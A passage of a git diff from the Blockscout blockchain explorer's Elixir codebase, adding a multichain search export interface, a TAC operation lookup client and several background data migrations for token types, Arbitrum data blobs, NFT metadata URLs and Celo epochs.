address_coin_balances: address_coin_balances, + address_token_balances: address_token_balances + }) do + block_range = + case block_ranges do + [%{min_block_number: nil, max_block_number: nil} | _] -> + nil + + [%{min_block_number: min_str, max_block_number: max_str} | _] -> + with {min_num, ""} <- Integer.parse(min_str), + {max_num, ""} <- Integer.parse(max_str) do + %Range{from: min_num, to: max_num} + else + _ -> nil + end + + _ -> + nil + end + + hashes_to_queue = + hashes + |> Enum.map( + &%{ + hash: Helper.hash_to_binary(&1.hash), + hash_type: &1.hash_type |> String.downcase() |> String.to_atom(), + block_range: block_range + } + ) + + addresses_to_queue = + addresses + |> Enum.map(fn %{hash: address_hash_string} -> + %{ + hash: Helper.hash_to_binary(address_hash_string), + hash_type: :address, + block_range: block_range + } + end) + + main_queue = hashes_to_queue ++ addresses_to_queue + + balances_queue = compose_balances_queue(address_coin_balances, address_token_balances) + + {main_queue, balances_queue} + end + + defp prepare_export_data_for_queue(%{ + address_coin_balances: address_coin_balances, + address_token_balances: address_token_balances + }) do + balances_queue = compose_balances_queue(address_coin_balances, address_token_balances) + + {[], balances_queue} + end + + defp compose_balances_queue(address_coin_balances, address_token_balances) do + coin_balances_queue = + address_coin_balances + |> Enum.map(fn %{address_hash: address_hash, value: value} -> + %{ + address_hash: address_hash |> Chain.string_to_address_hash() |> elem(1), + token_contract_address_hash_or_native: "native", + value: value + } + end) + + token_balances_queue = + address_token_balances + |> Enum.map(fn %{ + address_hash: address_hash, + token_address_hash: token_address_hash, + value: value, + token_id: token_id + } -> + %{ + address_hash: address_hash |> Chain.string_to_address_hash() |> elem(1), + token_contract_address_hash_or_native: Helper.hash_to_binary(token_address_hash), + # value is of Wei type in Explorer.Chain.Address.CoinBalance + # value is of Decimal type in Explorer.Chain.Address.TokenBalance + value: if(Decimal.is_decimal(value), do: value |> Wei.cast() |> elem(1), else: value), + token_id: token_id + } + end) + + coin_balances_queue ++ token_balances_queue + end + + @spec http_post_request(String.t(), map()) :: {:ok, any()} | {:error, String.t()} + defp http_post_request(url, body) do + headers = [{"Content-Type", "application/json"}] + + case HttpClient.post(url, Jason.encode!(body), headers, + recv_timeout: @post_timeout, + pool: false + ) do + {:ok, %{body: response_body, status_code: 200}} -> + response_body |> Jason.decode() + + {:ok, %{body: response_body, status_code: status_code}} -> + {:error, + %{ + url: url, + data_to_retry: body, + status_code: status_code, + response_body: response_body + }} + + {:error, reason} -> + {:error, + %{ + url: url, + data_to_retry: body, + reason: reason + }} + end + end + + @doc """ + Extracts and organizes batch import parameters into chunks suitable for microservice requests. + + Given a map of parameters, this function: + - Uniquely formats and chunks addresses. + - Prepares block ranges and hashes (from blocks, block hashes, and transactions). + - Associates each chunk with the current API key and chain ID. + - Ensures that the first chunk includes all block ranges and hashes, while subsequent chunks only contain address data. + + Returns a list of maps, each representing a chunk of import parameters with the following structure: + - `:api_key` - The API key as a string. + - `:chain_id` - The chain ID as a string. + - `:addresses` - A list of formatted address strings. + - `:block_ranges` - A list of maps with `:min_block_number` and `:max_block_number` as strings. + - `:hashes` - A list of maps with `:hash` and `:hash_type` as strings. + + If there are no addresses, a single chunk is returned containing only the hashes and block ranges. + """ + @spec extract_batch_import_params_into_chunks(map()) :: [ + %{ + api_key: String.t(), + chain_id: String.t(), + addresses: [String.t()], + block_ranges: [%{min_block_number: String.t(), max_block_number: String.t()}], + hashes: [%{hash: String.t(), hash_type: String.t()}], + address_token_balances: [map()], + address_coin_balances: [map()] + } + ] + def extract_batch_import_params_into_chunks(params) do + block_ranges = + if Map.has_key?(params, :block_ranges), + do: params.block_ranges, + else: get_block_ranges(Map.get(params, :blocks, [])) + + {addresses, coin_balances_from_addresses_list} = + params + |> Map.get(:addresses, []) + |> Repo.preload([:token, :smart_contract]) + |> Enum.reduce({[], []}, fn address, {acc_addresses, acc_coin_balances} -> + {[format_address(address) | acc_addresses], [format_address_coin_balance(address) | acc_coin_balances]} + end) + + address_coin_balances = + if Map.has_key?(params, :address_coin_balances) do + params.address_coin_balances + |> Enum.map(fn address_coin_balance -> + %{ + address_hash: Hash.to_string(address_coin_balance.address_hash), + token_contract_address_hash_or_native: "native", + value: address_coin_balance.value + } + end) + else + coin_balances_from_addresses_list + end + + block_hashes = + if Map.has_key?(params, :block_hashes), + do: format_block_hashes(params.block_hashes), + else: format_blocks(Map.get(params, :blocks, [])) + + transaction_hashes = format_transactions(Map.get(params, :transactions, [])) + + block_transaction_hashes = block_hashes ++ transaction_hashes + + indexed_addresses_chunks = + addresses + |> Enum.sort_by(& &1.hash) + |> Enum.uniq() + |> Enum.chunk_every(addresses_chunk_size()) + |> Enum.with_index() + + indexed_address_coin_balances_chunks = + address_coin_balances + |> Enum.sort_by(& &1.address_hash) + |> Enum.uniq() + |> Enum.reject(&is_nil(&1.value)) + |> Enum.chunk_every(addresses_chunk_size()) + |> Enum.with_index() + + address_token_balances = + cond do + Map.has_key?(params, :address_current_token_balances) -> + params.address_current_token_balances + |> Enum.map(&format_address_token_balance/1) + + Map.has_key?(params, :address_token_balances) -> + params.address_token_balances + |> Enum.map(fn address_token_balance -> + %{ + address_hash: Hash.to_string(address_token_balance.address_hash), + token_address_hash: address_token_balance.token_contract_address_hash, + token_id: address_token_balance.token_id, + value: address_token_balance.value + } + end) + + true -> + [] + end + + sanitized_address_token_balances = + address_token_balances + |> Enum.reject(&(is_nil(&1.value) && is_nil(&1.token_id))) + + api_key = api_key() + chain_id = ChainId.get_id() + chain_id_string = to_string(chain_id) + + base_data_chunk = %{ + api_key: api_key, + chain_id: chain_id_string, + addresses: [], + block_ranges: [], + hashes: [], + address_token_balances: [], + address_coin_balances: [] + } + + prepare_chunk(indexed_addresses_chunks, indexed_address_coin_balances_chunks, base_data_chunk, %{ + block_transaction_hashes: block_transaction_hashes, + block_ranges: block_ranges, + address_token_balances: sanitized_address_token_balances + }) + end + + defp address_token_balances_chunk_by_index(address_token_balances, 0), do: address_token_balances + + defp address_token_balances_chunk_by_index(_address_token_balances, _index), do: [] + + defp prepare_chunk([], [], base_data_chunk, %{ + block_transaction_hashes: block_transaction_hashes, + block_ranges: block_ranges, + address_token_balances: address_token_balances + }) do + [ + base_data_chunk + |> Map.put(:hashes, block_transaction_hashes) + |> Map.put(:block_ranges, block_ranges) + |> Map.put(:address_token_balances, address_token_balances) + ] + end + + defp prepare_chunk(indexed_addresses_chunks, indexed_address_coin_balances_chunks, base_data_chunk, %{ + block_transaction_hashes: block_transaction_hashes, + block_ranges: block_ranges, + address_token_balances: address_token_balances + }) + when indexed_addresses_chunks != [] do + Enum.map(indexed_addresses_chunks, fn {addresses_chunk, index} -> + # credo:disable-for-lines:3 Credo.Check.Refactor.Nesting + hashes_in_chunk = if index == 0, do: block_transaction_hashes, else: [] + block_ranges_in_chunk = if index == 0, do: block_ranges, else: [] + address_token_balances_in_chunk = address_token_balances_chunk_by_index(address_token_balances, index) + + address_coin_balances_chunk = + case Enum.fetch(indexed_address_coin_balances_chunks, index) do + {:ok, {chunk, ^index}} when is_list(chunk) -> chunk + _ -> [] + end + + base_data_chunk + |> Map.put(:addresses, addresses_chunk) + |> Map.put( + :address_coin_balances, + address_coin_balances_chunk + ) + |> Map.put(:hashes, hashes_in_chunk) + |> Map.put(:block_ranges, block_ranges_in_chunk) + |> Map.put(:address_token_balances, address_token_balances_in_chunk) + end) + end + + defp prepare_chunk(_indexed_addresses_chunks, indexed_address_coin_balances_chunks, base_data_chunk, %{ + address_token_balances: address_token_balances + }) + when indexed_address_coin_balances_chunks != [] do + Enum.map(indexed_address_coin_balances_chunks, fn {indexed_address_coin_balance_chunk, index} -> + address_token_balances_in_chunk = address_token_balances_chunk_by_index(address_token_balances, index) + + base_data_chunk + |> Map.put( + :address_coin_balances, + indexed_address_coin_balance_chunk + ) + |> Map.put(:address_token_balances, address_token_balances_in_chunk) + end) + end + + defp format_address(address) do + %{ + hash: Hash.to_string(address.hash), + is_contract: !is_nil(address.contract_code), + is_verified_contract: address.verified, + is_token: token?(address.token), + ens_name: address.ens_domain_name, + token_name: get_token_name(address.token), + token_type: get_token_type(address.token), + contract_name: get_smart_contract_name(address.smart_contract) + } + end + + defp format_address_coin_balance(address) do + %{ + address_hash: Hash.to_string(address.hash), + value: address.fetched_coin_balance + } + end + + defp format_address_token_balance(address_current_token_balance) do + %{ + address_hash: Hash.to_string(address_current_token_balance.address_hash), + token_address_hash: Hash.to_string(address_current_token_balance.token_contract_address_hash), + token_id: address_current_token_balance.token_id, + value: address_current_token_balance.value + } + end + + @spec format_blocks([Block.t() | %{hash: String.t(), hash_type: String.t()}]) :: [ + %{hash: String.t(), hash_type: String.t()} + ] + defp format_blocks(blocks) do + blocks + |> Enum.map(&format_block_hash(to_string(&1.hash))) + end + + @spec format_block_hashes([Hash.t()]) :: [ + %{hash: String.t(), hash_type: String.t()} + ] + defp format_block_hashes(block_hashes) do + block_hashes + |> Enum.map(&format_block_hash(to_string(&1))) + end + + @spec format_transactions([Transaction.t() | %{hash: String.t(), hash_type: String.t()}]) :: [ + %{hash: String.t(), hash_type: String.t()} + ] + defp format_transactions(transactions) do + transactions + |> Enum.map(&format_transaction(to_string(&1.hash))) + end + + @spec format_block_hash(String.t()) :: %{ + hash: String.t(), + hash_type: String.t() + } + defp format_block_hash(block_hash_string) do + %{ + hash: block_hash_string, + hash_type: "BLOCK" + } + end + + @spec format_transaction(String.t()) :: %{ + hash: String.t(), + hash_type: String.t() + } + defp format_transaction(transaction_hash_string) do + %{ + hash: transaction_hash_string, + hash_type: "TRANSACTION" + } + end + + defp token?(nil), do: false + + defp token?(%NotLoaded{}), do: false + + defp token?(_), do: true + + defp get_token_name(nil), do: nil + + defp get_token_name(%NotLoaded{}), do: nil + + defp get_token_name(token), do: token.name + + defp get_smart_contract_name(nil), do: nil + + defp get_smart_contract_name(%NotLoaded{}), do: nil + + defp get_smart_contract_name(smart_contract), do: smart_contract.name + + defp get_token_type(nil), do: @unspecified + + defp get_token_type(%NotLoaded{}), do: @unspecified + + defp get_token_type(token), do: token.type + + defp get_block_ranges([]), do: [] + + defp get_block_ranges(blocks) do + {min_block_number, max_block_number} = + blocks + |> Enum.map(& &1.number) + |> Enum.min_max() + + [ + %{ + min_block_number: to_string(min_block_number), + max_block_number: to_string(max_block_number) + } + ] + end + + @doc """ + Returns a full URL to the Multichain service API import endpoint. + + ## Returns + - A string containing the URL. + """ + @spec batch_import_url() :: String.t() + def batch_import_url do + "#{base_url()}/import:batch" + end + + defp base_url do + microservice_base_url = Microservice.base_url(__MODULE__) + + if microservice_base_url do + "#{microservice_base_url}/api/v1" + else + nil + end + end + + @doc """ + Returns an API key for the Multichain service. + + ## Returns + - A string containing the API key. + - `nil` if the key is not defined. + """ + @spec api_key() :: String.t() | nil + def api_key do + Microservice.api_key(__MODULE__) + end + + @doc """ + Checks if the multichain search microservice is enabled. + + This function determines if the multichain search microservice is enabled by + checking if the base URL is not nil. + + ## Examples + + iex> Explorer.MicroserviceInterfaces.MultichainSearch.enabled?() + true + + iex> Explorer.MicroserviceInterfaces.MultichainSearch.enabled?() + false + + @return `true` if the base URL is not nil, `false` otherwise. + """ + def enabled?, do: !is_nil(base_url()) + + defp addresses_chunk_size do + Application.get_env(:explorer, __MODULE__)[:addresses_chunk_size] + end + + defp token_info_chunk_size do + Application.get_env(:explorer, __MODULE__)[:token_info_chunk_size] + end + + defp counters_chunk_size do + Application.get_env(:explorer, __MODULE__)[:counters_chunk_size] + end +end diff --git a/apps/explorer/lib/explorer/microservice_interfaces/tac_operation_lifecycle.ex b/apps/explorer/lib/explorer/microservice_interfaces/tac_operation_lifecycle.ex new file mode 100644 index 000000000000..fd8ee211fc0d --- /dev/null +++ b/apps/explorer/lib/explorer/microservice_interfaces/tac_operation_lifecycle.ex @@ -0,0 +1,77 @@ +defmodule Explorer.MicroserviceInterfaces.TACOperationLifecycle do + @moduledoc """ + Interface to interact with Tac Operation Lifecycle Service (https://github.com/blockscout/blockscout-rs/tree/main/tac-operation-lifecycle) + """ + + alias Explorer.HttpClient + alias Explorer.Utility.Microservice + require Logger + + @request_error_msg "Error while sending request to Tac Operation Lifecycle Service" + + @spec get_operations_by_id_or_sender_or_transaction_hash(String.t(), nil | map()) :: + {:ok, %{items: [map()], next_page_params: map() | nil}} + | {:error, :disabled | :not_found | Jason.DecodeError.t() | String.t()} + def get_operations_by_id_or_sender_or_transaction_hash(param, page_params) do + with :ok <- Microservice.check_enabled(__MODULE__) do + query_params = + %{ + "q" => param + } + |> Map.merge(page_params || %{}) + + operations_quick_search_url() + |> http_get_request(query_params) + |> case do + {:ok, %{"items" => operations, "next_page_params" => next_page_params}} -> + {:ok, %{items: operations, next_page_params: next_page_params}} + + error -> + error + end + end + end + + defp http_get_request(url, query_params) do + case HttpClient.get(url, [], params: query_params) do + {:ok, %{body: body, status_code: 200}} -> + case Jason.decode(body) do + {:ok, decoded_body} -> + {:ok, decoded_body} + + error -> + log_error(error) + {:error, error} + end + + {:ok, %{body: _body, status_code: 404}} -> + {:error, :not_found} + + {_, error} -> + log_error(error) + {:error, @request_error_msg} + end + end + + defp log_error(error) do + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + + Logger.error(fn -> + [ + "#{@request_error_msg}: ", + inspect(error, limit: :infinity, printable_limit: :infinity) + ] + end) + + Logger.configure(truncate: old_truncate) + end + + defp operations_quick_search_url do + "#{base_url()}/tac/operations" + end + + defp base_url do + "#{Microservice.base_url(__MODULE__)}/api/v1" + end +end diff --git a/apps/explorer/lib/explorer/migrator/address_current_token_balance_token_type.ex b/apps/explorer/lib/explorer/migrator/address_current_token_balance_token_type.ex new file mode 100644 index 000000000000..70ae0cf74124 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/address_current_token_balance_token_type.ex @@ -0,0 +1,54 @@ +defmodule Explorer.Migrator.AddressCurrentTokenBalanceTokenType do + @moduledoc """ + Fill empty token_type's for address_current_token_balances + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.Address.CurrentTokenBalance + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "ctb_token_type" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([ctb], ctb.id) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + from(ctb in CurrentTokenBalance, where: is_nil(ctb.token_type)) + end + + @impl FillingMigration + def update_batch(token_balance_ids) do + query = + from(current_token_balance in CurrentTokenBalance, + join: token in assoc(current_token_balance, :token), + where: current_token_balance.id in ^token_balance_ids, + update: [set: [token_type: token.type]] + ) + + Repo.update_all(query, [], timeout: :infinity) + end + + @impl FillingMigration + def update_cache do + BackgroundMigrations.set_ctb_token_type_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/address_token_balance_token_type.ex b/apps/explorer/lib/explorer/migrator/address_token_balance_token_type.ex new file mode 100644 index 000000000000..f5977455692c --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/address_token_balance_token_type.ex @@ -0,0 +1,54 @@ +defmodule Explorer.Migrator.AddressTokenBalanceTokenType do + @moduledoc """ + Fill empty token_type's for address_token_balances + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.Address.TokenBalance + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "tb_token_type" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([tb], tb.id) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + from(tb in TokenBalance, where: is_nil(tb.token_type)) + end + + @impl FillingMigration + def update_batch(token_balance_ids) do + query = + from(token_balance in TokenBalance, + join: token in assoc(token_balance, :token), + where: token_balance.id in ^token_balance_ids, + update: [set: [token_type: token.type]] + ) + + Repo.update_all(query, [], timeout: :infinity) + end + + @impl FillingMigration + def update_cache do + BackgroundMigrations.set_tb_token_type_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/arbitrum_da_records_normalization.ex b/apps/explorer/lib/explorer/migrator/arbitrum_da_records_normalization.ex new file mode 100644 index 000000000000..759e1b1d2b9e --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/arbitrum_da_records_normalization.ex @@ -0,0 +1,65 @@ +defmodule Explorer.Migrator.ArbitrumDaRecordsNormalization do + @moduledoc """ + Normalizes batch-to-blob associations by moving them from arbitrum_da_multi_purpose to a dedicated + arbitrum_batches_to_da_blobs table, establishing proper one-to-many relationships between batches + and data blobs. + """ + + use Explorer.Migrator.FillingMigration + + import Ecto.Query + + alias Explorer.Chain.Arbitrum.{BatchToDaBlob, DaMultiPurposeRecord} + alias Explorer.Chain.Cache.BackgroundMigrations + alias Explorer.Migrator.FillingMigration + alias Explorer.Repo + + @migration_name "arbitrum_da_records_normalization" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + data_keys = + unprocessed_data_query() + |> select([rec], {rec.data_key, rec.batch_number}) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {data_keys, state} + end + + @impl FillingMigration + def unprocessed_data_query do + # Finds batch-to-blob associations in arbitrum_da_multi_purpose that haven't been migrated yet + # to arbitrum_batches_to_da_blobs. Only considers records that have batch_number set. + from(rec in DaMultiPurposeRecord, + left_join: btd in BatchToDaBlob, + on: rec.data_key == btd.data_blob_id, + where: not is_nil(rec.batch_number) and is_nil(btd.batch_number) + ) + end + + @impl FillingMigration + def update_batch(data_keys) do + records = + Enum.map(data_keys, fn {data_key, batch_number} -> + %{ + batch_number: batch_number, + data_blob_id: data_key, + inserted_at: DateTime.utc_now(), + updated_at: DateTime.utc_now() + } + end) + + Repo.insert_all(BatchToDaBlob, records, timeout: :infinity) + end + + @impl FillingMigration + def update_cache do + BackgroundMigrations.set_arbitrum_da_records_normalization_finished(true) + end +end diff --git a/apps/explorer/lib/explorer/migrator/backfill_metadata_url.ex b/apps/explorer/lib/explorer/migrator/backfill_metadata_url.ex new file mode 100644 index 000000000000..9af61bee3f6e --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/backfill_metadata_url.ex @@ -0,0 +1,233 @@ +defmodule Explorer.Migrator.BackfillMetadataURL do + @moduledoc """ + Backfills the metadata_url field for token instances + """ + + use Explorer.Migrator.FillingMigration, skip_meta_update?: true + import Ecto.Query + + alias EthereumJSONRPC.NFT + alias Explorer.{Chain, MetadataURIValidator, Repo} + alias Explorer.Chain.Token.Instance + alias Explorer.Migrator.FillingMigration + + require Logger + + @migration_name "backfill_metadata_url" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + tokens_address_hashes = ids |> Enum.map(&elem(&1, 0).bytes) |> Enum.uniq() + tokens_address_hash_to_type = Map.take(state, tokens_address_hashes) + tokens_address_hashes_to_preload_from_db = tokens_address_hashes -- Map.keys(tokens_address_hash_to_type) + + current_token_type_map = + tokens_address_hashes_to_preload_from_db + |> Chain.get_token_types() + |> Enum.map(fn {address_hash, type} -> {address_hash.bytes, type} end) + |> Enum.into(%{}) + |> Map.merge(tokens_address_hash_to_type) + + {ids + |> Enum.map(fn {token_address_hash, token_id} -> + {token_address_hash, token_id, current_token_type_map[token_address_hash.bytes]} + end), Map.merge(state, current_token_type_map)} + end + + @impl FillingMigration + def unprocessed_data_query do + Instance + |> where([instance], not is_nil(instance.metadata) and is_nil(instance.skip_metadata_url)) + |> select([instance], {instance.token_contract_address_hash, instance.token_id}) + end + + @impl FillingMigration + def update_batch(token_instances) do + now = DateTime.utc_now() + + prepared_params = + token_instances + |> NFT.batch_metadata_url_request(Application.get_env(:explorer, :json_rpc_named_arguments)) + |> Enum.zip(token_instances) + |> Enum.map(&process_result/1) + |> Enum.map(&Map.merge(&1, %{updated_at: now, inserted_at: now})) + + {_, result} = + Repo.insert_all(Instance, prepared_params, + on_conflict: token_instance_on_conflict(), + conflict_target: [:token_id, :token_contract_address_hash], + returning: true + ) + + result + end + + @impl FillingMigration + def update_cache do + :ignore + end + + # leave metadata url as empty string for errored requests in order to mark them somehow + defp process_result({{{:error, reason}, _}, {token_contract_address_hash, token_id, _token_type}}) do + Logger.error( + "Error while fetching metadata URL for {#{token_contract_address_hash}, #{token_id}}: #{inspect(reason)}" + ) + + %{ + token_contract_address_hash: token_contract_address_hash, + token_id: token_id, + metadata_url: "", + skip_metadata_url: false + } + end + + # credo:disable-for-next-line /Complexity/ + defp process_result({{{:ok, [url]}, _}, {token_contract_address_hash, token_id, _token_type}}) do + url = String.trim(url, "'") + + metadata_url_params = + case URI.parse(url) do + %URI{path: "data:application/json;utf8," <> _json} -> + %{skip_metadata_url: true} + + %URI{path: "data:application/json," <> _json} -> + %{skip_metadata_url: true} + + %URI{path: "data:application/json;base64," <> _json} -> + %{skip_metadata_url: true} + + %URI{scheme: "ipfs"} -> + %{skip_metadata_url: true} + + %URI{scheme: "ar"} -> + %{skip_metadata_url: true} + + %URI{path: "/ipfs/" <> _resource_id} -> + %{skip_metadata_url: true} + + %URI{path: "ipfs/" <> _resource_id} -> + %{skip_metadata_url: true} + + %URI{scheme: scheme} when not is_nil(scheme) -> + process_common_url(url) + + %URI{} -> + if url !== "" do + %{skip_metadata_url: true} + else + %{ + metadata_url: nil, + skip_metadata_url: false, + metadata: nil, + error: "no uri", + thumbnails: nil, + media_type: nil, + cdn_upload_error: nil + } + end + end + + Map.merge(metadata_url_params, %{token_contract_address_hash: token_contract_address_hash, token_id: token_id}) + end + + defp process_common_url(url) do + case MetadataURIValidator.validate_uri(url) do + :ok -> + %{metadata_url: String.slice(url, 0, 2048), skip_metadata_url: false} + + {:error, reason} -> + %{ + metadata_url: nil, + skip_metadata_url: false, + metadata: nil, + error: to_string(reason), + thumbnails: nil, + media_type: nil, + cdn_upload_error: nil + } + end + end + + defp token_instance_on_conflict do + from( + token_instance in Instance, + update: [ + set: [ + skip_metadata_url: fragment("EXCLUDED.skip_metadata_url"), + metadata_url: fragment("EXCLUDED.metadata_url"), + error: + fragment( + """ + CASE + WHEN EXCLUDED.error IS NOT NULL THEN + EXCLUDED.error + ELSE + ? + END + """, + token_instance.error + ), + metadata: + fragment( + """ + CASE + WHEN EXCLUDED.error IS NOT NULL THEN + NULL + ELSE + ? + END + """, + token_instance.metadata + ), + thumbnails: + fragment( + """ + CASE + WHEN EXCLUDED.error IS NOT NULL THEN + NULL + ELSE + ? + END + """, + token_instance.thumbnails + ), + media_type: + fragment( + """ + CASE + WHEN EXCLUDED.error IS NOT NULL THEN + NULL + ELSE + ? + END + """, + token_instance.media_type + ), + cdn_upload_error: + fragment( + """ + CASE + WHEN EXCLUDED.error IS NOT NULL THEN + NULL + ELSE + ? + END + """, + token_instance.cdn_upload_error + ), + updated_at: fragment("GREATEST(?, EXCLUDED.updated_at)", token_instance.updated_at) + ] + ] + ) + end +end diff --git a/apps/explorer/lib/explorer/migrator/backfill_multichain_search_db.ex b/apps/explorer/lib/explorer/migrator/backfill_multichain_search_db.ex new file mode 100644 index 000000000000..67ed5897ff6a --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/backfill_multichain_search_db.ex @@ -0,0 +1,195 @@ +defmodule Explorer.Migrator.BackfillMultichainSearchDB do + @moduledoc """ + Copies existing data from Blockscout instance to Multichain Search DB instance. + """ + + require Logger + + use Explorer.Migrator.FillingMigration + + alias Explorer.Chain.{Address, Block, InternalTransaction, TokenTransfer, Transaction} + alias Explorer.Chain.Cache.{BackgroundMigrations, BlockNumber} + alias Explorer.MicroserviceInterfaces.MultichainSearch + alias Explorer.Migrator.FillingMigration + + import Ecto.Query + + @migration_name "backfill_multichain_search_db" + + @failed_to_fetch_data_error "Failed to fetch data from the Blockscout DB for batch export to the Multichain Search DB" + @failed_to_export_data_error "Batch export to the Multichain Search DB failed" + @for " for block numbers " + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(%{"max_block_number" => -1} = state), do: {[], state} + + def last_unprocessed_identifiers(%{"max_block_number" => from_block_number} = state) do + limit = batch_size() * concurrency() + to_block_number = max(from_block_number - limit + 1, 0) + + {Enum.to_list(from_block_number..to_block_number), %{state | "max_block_number" => to_block_number - 1}} + end + + def last_unprocessed_identifiers(state) do + query = + from( + migration_status in MigrationStatus, + where: migration_status.migration_name == @migration_name, + select: migration_status.meta + ) + + meta = Repo.one(query, timeout: :infinity) + + state + |> Map.put("max_block_number", (meta && meta["max_block_number"]) || BlockNumber.get_max()) + |> last_unprocessed_identifiers() + end + + @impl FillingMigration + def unprocessed_data_query, do: nil + + @impl FillingMigration + def update_batch(block_numbers) do + blocks_query = from(block in Block, where: block.number in ^block_numbers) + + blocks_preloads = [:miner] + + blocks_task = + Task.async(fn -> + blocks_query + |> preload(^blocks_preloads) + |> Repo.all(timeout: :infinity) + end) + + case Task.yield(blocks_task, :infinity) do + {:ok, blocks} -> + transaction_preloads = [:from_address, :to_address, :created_contract_address] + + transactions_query = from(transaction in Transaction, where: transaction.block_number in ^block_numbers) + + transactions_task = + Task.async(fn -> + transactions_query + |> preload(^transaction_preloads) + |> Repo.all(timeout: :infinity) + end) + + block_hashes = blocks |> Enum.map(& &1.hash) + + internal_transactions_query = + from(internal_transaction in InternalTransaction, where: internal_transaction.block_hash in ^block_hashes) + + internal_transactions_task = + Task.async(fn -> + internal_transactions_query + |> preload(^transaction_preloads) + |> Repo.all(timeout: :infinity) + end) + + token_transfer_preloads = [:from_address, :to_address, :token_contract_address] + + token_transfers_query = + from(token_transfer in TokenTransfer, where: token_transfer.block_number in ^block_numbers) + + token_transfers_task = + Task.async(fn -> + token_transfers_query + |> preload(^token_transfer_preloads) + |> Repo.all(timeout: :infinity) + end) + + tasks = [ + transactions_task, + internal_transactions_task, + token_transfers_task + ] + + case tasks + |> Task.yield_many(:infinity) do + [ + {_transactions_task, {:ok, transactions}}, + {_internal_transactions_task, {:ok, internal_transactions}}, + {_token_transfers_task, {:ok, token_transfers}} + ] -> + addresses = + [ + transactions, + internal_transactions, + token_transfers, + blocks + ] + |> List.flatten() + |> Enum.reduce([], fn result, addresses_acc -> + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + extract_address_from_result(result) ++ addresses_acc + end) + |> Enum.uniq() + |> Enum.reject(&is_nil/1) + + to_import = %{ + addresses: addresses, + blocks: blocks, + transactions: transactions + } + + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + case MultichainSearch.batch_import(to_import) do + {:ok, _} = result -> + result + + {:error, _} -> + Logger.error(fn -> + ["#{@failed_to_export_data_error}", "#{@for}", "#{inspect(block_numbers)}"] + end) + + :timer.sleep(1000) + + update_batch(block_numbers) + end + + _ -> + repeat_block_numbers_processing_on_error(block_numbers) + end + + _ -> + repeat_block_numbers_processing_on_error(block_numbers) + end + end + + defp repeat_block_numbers_processing_on_error(block_numbers) do + Logger.error(fn -> + ["#{@failed_to_fetch_data_error}", "#{@for}", "#{inspect(block_numbers)}"] + end) + + :timer.sleep(1000) + + update_batch(block_numbers) + end + + @impl FillingMigration + def update_cache do + BackgroundMigrations.set_backfill_multichain_search_db_finished(true) + end + + @spec extract_address_from_result(Transaction.t() | InternalTransaction.t() | TokenTransfer.t() | Block.t()) :: [ + Address.t() + ] + defp extract_address_from_result(result) do + case result do + %Transaction{} -> + [result.from_address, result.to_address, result.created_contract_address] + + %InternalTransaction{} -> + [result.from_address, result.to_address, result.created_contract_address] + + %TokenTransfer{} -> + [result.from_address, result.to_address, result.token_contract_address] + + %Block{} -> + [result.miner] + end + end +end diff --git a/apps/explorer/lib/explorer/migrator/celo_l2_epochs.ex b/apps/explorer/lib/explorer/migrator/celo_l2_epochs.ex new file mode 100644 index 000000000000..c3789927be49 --- /dev/null +++ b/apps/explorer/lib/explorer/migrator/celo_l2_epochs.ex @@ -0,0 +1,102 @@ +defmodule Explorer.Migrator.CeloL2Epochs do + @moduledoc """ + Backfills Celo L2 epochs data. It processes logs related to epoch processing + and fills the `Epoch` table with the relevant data. + """ + + use Explorer.Migrator.FillingMigration + + use Utils.RuntimeEnvHelper, + epoch_manager_contract_address_hash: [ + :explorer, + [:celo, :epoch_manager_contract_address] + ] + + import Ecto.Query + + alias Explorer.Chain.Celo.Epoch + alias Explorer.{Helper, Repo} + alias Explorer.Chain.{Import, Log} + alias Explorer.Chain.Import.Runner.Celo.Epochs + alias Explorer.Migrator.FillingMigration + + @migration_name "celo_l2_epochs" + + # Events from the EpochManager contract + @epoch_processing_started_topic "0xae58a33f8b8d696bcbaca9fa29d9fdc336c140e982196c2580db3d46f3e6d4b6" + @epoch_processing_ended_topic "0xc8e58d8e6979dd5e68bad79d4a4368a1091f6feb2323e612539b1b84e0663a8f" + + @impl FillingMigration + def migration_name, do: @migration_name + + @impl FillingMigration + def last_unprocessed_identifiers(state) do + limit = batch_size() * concurrency() + + ids = + unprocessed_data_query() + |> select([log], log) + |> limit(^limit) + |> Repo.all(timeout: :infinity) + + {ids, state} + end + + @impl FillingMigration + def unprocessed_data_query do + epochs_start_processing_block_hashes = + from(epoch in Epoch, select: epoch.start_processing_block_hash) + + epochs_end_processing_block_hashes = + from(epoch in Epoch, select: epoch.end_processing_block_hash) + + from( + log in Log, + where: + log.address_hash == 